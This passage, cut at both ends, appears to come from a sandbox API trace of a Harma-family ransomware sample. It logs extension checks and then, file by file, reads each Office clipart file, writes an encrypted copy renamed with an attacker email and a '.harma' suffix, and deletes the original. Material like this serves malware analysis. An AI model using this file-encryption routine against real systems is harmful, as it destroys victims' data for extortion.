Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0159.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0159.890] lstrlenW (lpString=".doc") returned 4 [0159.890] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.890] lstrlenW (lpString=".docx") returned 5 [0159.891] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0159.891] lstrlenW (lpString=".pdf") returned 4 [0159.891] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.891] lstrlenW (lpString=".xls") returned 4 [0159.891] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.891] lstrlenW (lpString=".xlsx") returned 5 [0159.891] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0159.891] lstrlenW (lpString=".ppt") returned 4 [0159.891] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0159.891] lstrlenW (lpString=".zip") returned 4 [0159.891] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.891] lstrlenW (lpString=".rar") returned 4 [0159.891] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.891] lstrlenW (lpString=".bz2") returned 4 [0159.891] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.891] lstrlenW (lpString=".7z") returned 3 [0159.891] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0159.891] lstrlenW (lpString=".dbf") returned 4 [0159.891] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0159.891] lstrlenW (lpString=".1cd") returned 4 [0159.891] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0159.891] lstrlenW (lpString=".jpg") returned 4 [0159.891] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.891] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0159.892] lstrlenW (lpString="J0086432.WMF") returned 12 [0159.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0159.926] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=33434) returned 1 [0159.926] CloseHandle (hObject=0x348) returned 1 [0159.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf")) returned 0x20 [0160.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0160.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0160.011] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.011] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0160.012] GetLastError () returned 0x0 [0160.013] ReadFile (in: hFile=0x350, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x829a, lpOverlapped=0x0) returned 1 [0160.040] WriteFile (in: hFile=0x338, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x82a0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x82a0, lpOverlapped=0x0) returned 1 [0160.041] ReadFile (in: hFile=0x350, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0160.042] WriteFile (in: hFile=0x338, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0160.042] SetEndOfFile (hFile=0x338) returned 1 [0160.042] CloseHandle (hObject=0x338) returned 1 [0160.042] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.042] SetEndOfFile (hFile=0x350) returned 1 [0160.044] CloseHandle (hObject=0x350) returned 1 [0160.045] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0160.045] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf")) returned 1 [0160.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0160.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0160.045] lstrlenW (lpString=".doc") returned 4 [0160.045] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.046] lstrlenW (lpString=".docx") returned 5 [0160.046] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0160.046] lstrlenW (lpString=".pdf") returned 4 [0160.046] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.046] lstrlenW (lpString=".xls") returned 4 [0160.046] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.046] lstrlenW (lpString=".xlsx") returned 5 [0160.046] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0160.046] lstrlenW (lpString=".ppt") returned 4 [0160.046] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0160.046] lstrlenW (lpString=".zip") returned 4 [0160.046] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.046] lstrlenW (lpString=".rar") returned 4 [0160.046] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.046] lstrlenW (lpString=".bz2") returned 4 [0160.046] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.046] lstrlenW (lpString=".7z") returned 3 [0160.046] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0160.046] lstrlenW (lpString=".dbf") returned 4 [0160.046] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0160.046] lstrlenW (lpString=".1cd") returned 4 [0160.046] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0160.046] lstrlenW (lpString=".jpg") returned 4 [0160.046] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0160.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0160.047] lstrlenW (lpString=".doc") returned 4 [0160.047] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.047] lstrlenW (lpString=".docx") returned 5 [0160.047] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0160.047] lstrlenW (lpString=".pdf") returned 4 [0160.047] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.047] lstrlenW (lpString=".xls") returned 4 [0160.047] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.047] lstrlenW (lpString=".xlsx") returned 5 [0160.047] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0160.047] lstrlenW (lpString=".ppt") returned 4 [0160.047] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0160.047] lstrlenW (lpString=".zip") returned 4 [0160.047] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.047] lstrlenW (lpString=".rar") returned 4 [0160.047] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.047] lstrlenW (lpString=".bz2") returned 4 [0160.047] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.047] lstrlenW (lpString=".7z") returned 3 [0160.047] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0160.047] lstrlenW (lpString=".dbf") returned 4 [0160.047] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0160.047] lstrlenW (lpString=".1cd") returned 4 [0160.047] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0160.047] lstrlenW (lpString=".jpg") returned 4 [0160.047] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.048] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0160.048] lstrlenW (lpString="J0090089.WMF") returned 12 [0160.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0160.087] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=15760) returned 1 [0160.087] CloseHandle (hObject=0x214) returned 1 [0160.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf")) returned 0x20 [0160.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0160.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0160.135] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.135] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0160.136] GetLastError () returned 0x0 [0160.136] ReadFile (in: hFile=0x364, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x3d90, lpOverlapped=0x0) returned 1 [0160.145] WriteFile (in: hFile=0x360, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x3da0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x3da0, lpOverlapped=0x0) returned 1 [0160.146] ReadFile (in: hFile=0x364, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0160.146] WriteFile (in: hFile=0x360, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0160.146] SetEndOfFile (hFile=0x360) returned 1 [0160.146] CloseHandle (hObject=0x360) returned 1 [0160.146] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.146] SetEndOfFile (hFile=0x364) returned 1 [0160.149] CloseHandle (hObject=0x364) returned 1 [0160.149] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0160.149] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf")) returned 1 [0160.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0160.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0160.150] lstrlenW (lpString=".doc") returned 4 [0160.150] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.150] lstrlenW (lpString=".docx") returned 5 [0160.150] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0160.150] lstrlenW (lpString=".pdf") returned 4 [0160.150] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.150] lstrlenW (lpString=".xls") returned 4 [0160.150] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.150] lstrlenW (lpString=".xlsx") returned 5 [0160.150] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0160.150] lstrlenW (lpString=".ppt") returned 4 [0160.150] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0160.150] lstrlenW (lpString=".zip") returned 4 [0160.150] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.150] lstrlenW (lpString=".rar") returned 4 [0160.150] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.150] lstrlenW (lpString=".bz2") returned 4 [0160.150] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.150] lstrlenW (lpString=".7z") returned 3 [0160.150] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0160.151] lstrlenW (lpString=".dbf") returned 4 [0160.151] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0160.151] lstrlenW (lpString=".1cd") returned 4 [0160.151] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0160.151] lstrlenW (lpString=".jpg") returned 4 [0160.151] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0160.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0160.151] lstrlenW (lpString=".doc") returned 4 [0160.151] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.151] lstrlenW (lpString=".docx") returned 5 [0160.151] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0160.151] lstrlenW (lpString=".pdf") returned 4 [0160.151] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.151] lstrlenW (lpString=".xls") returned 4 [0160.151] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.151] lstrlenW (lpString=".xlsx") returned 5 [0160.151] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0160.151] lstrlenW (lpString=".ppt") returned 4 [0160.151] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0160.151] lstrlenW (lpString=".zip") returned 4 [0160.151] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.151] lstrlenW (lpString=".rar") returned 4 [0160.151] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.151] lstrlenW (lpString=".bz2") returned 4 [0160.151] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.151] lstrlenW (lpString=".7z") returned 3 [0160.152] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0160.152] lstrlenW (lpString=".dbf") returned 4 [0160.152] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0160.152] lstrlenW (lpString=".1cd") returned 4 [0160.152] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0160.152] lstrlenW (lpString=".jpg") returned 4 [0160.152] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.152] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0160.152] lstrlenW (lpString="J0090783.WMF") returned 12 [0160.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0160.153] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=6934) returned 1 [0160.153] CloseHandle (hObject=0x364) returned 1 [0160.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf")) returned 0x20 [0160.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0160.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0160.153] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.153] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0160.154] GetLastError () returned 0x0 [0160.154] ReadFile (in: hFile=0x364, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x1b16, lpOverlapped=0x0) returned 1 [0160.158] WriteFile (in: hFile=0x360, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x1b20, lpOverlapped=0x0) returned 1 [0160.159] ReadFile (in: hFile=0x364, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0160.159] WriteFile (in: hFile=0x360, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0160.160] SetEndOfFile (hFile=0x360) returned 1 [0160.160] CloseHandle (hObject=0x360) returned 1 [0160.160] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.160] SetEndOfFile (hFile=0x364) returned 1 [0160.162] CloseHandle (hObject=0x364) returned 1 [0160.162] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0160.162] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf")) returned 1 [0160.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0160.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0160.163] lstrlenW (lpString=".doc") returned 4 [0160.163] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.163] lstrlenW (lpString=".docx") returned 5 [0160.163] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0160.163] lstrlenW (lpString=".pdf") returned 4 [0160.163] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.163] lstrlenW (lpString=".xls") returned 4 [0160.163] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.163] lstrlenW (lpString=".xlsx") returned 5 [0160.163] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0160.163] lstrlenW (lpString=".ppt") returned 4 [0160.163] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0160.163] lstrlenW (lpString=".zip") returned 4 [0160.163] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.163] lstrlenW (lpString=".rar") returned 4 [0160.163] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.163] lstrlenW (lpString=".bz2") returned 4 [0160.163] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.164] lstrlenW (lpString=".7z") returned 3 [0160.164] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0160.164] lstrlenW (lpString=".dbf") returned 4 [0160.164] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0160.164] lstrlenW (lpString=".1cd") returned 4 [0160.164] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0160.164] lstrlenW (lpString=".jpg") returned 4 [0160.164] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0160.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0160.604] lstrlenW (lpString=".doc") returned 4 [0160.604] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.604] lstrlenW (lpString=".docx") returned 5 [0160.604] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0160.604] lstrlenW (lpString=".pdf") returned 4 [0160.604] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.604] lstrlenW (lpString=".xls") returned 4 [0160.605] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.605] lstrlenW (lpString=".xlsx") returned 5 [0160.605] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0160.605] lstrlenW (lpString=".ppt") returned 4 [0160.605] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.605] lstrlenW 